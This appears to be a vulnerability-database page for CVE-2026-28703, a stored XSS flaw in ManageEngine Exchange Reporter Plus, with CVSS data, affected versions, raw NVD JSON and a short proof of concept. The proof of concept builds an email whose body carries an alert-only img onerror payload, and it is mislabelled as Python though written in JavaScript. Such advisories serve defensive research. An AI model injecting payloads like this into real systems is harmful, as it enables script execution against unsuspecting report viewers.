Security Vulnerability Report
中文
CVE-2026-28703 CVSS 7.3 HIGH

CVE-2026-28703

Published: 2026-04-03 12:16:17
Last Modified: 2026-04-03 18:50:54
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Mails Exchanged Between Users report.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:* - VULNERABLE
Zohocorp ManageEngine Exchange Reporter Plus < 5802

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for Stored XSS in ManageEngine Exchange Reporter Plus // Target: "Mails Exchanged Between Users" report // Description: Send an email containing a script tag to trigger the vulnerability when the report is viewed. function generateMaliciousEmail() { // The payload aims to demonstrate execution by showing an alert var xssPayload = "<img src=x onerror=alert('CVE-2026-28703')>"; // Simulate the email body or subject that is vulnerable var emailData = { "subject": "Important Report Update", "body": "Please check the report attached below. " + xssPayload, "recipient": "[email protected]" }; return emailData; } // In a real exploitation scenario, this payload would be sent via the product's email interface console.log("Malicious Email Generated:", generateMaliciousEmail());

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28703", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T12:16:17.490", "lastModified": "2026-04-03T18:50:54.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Mails Exchanged Between Users report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-28703.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}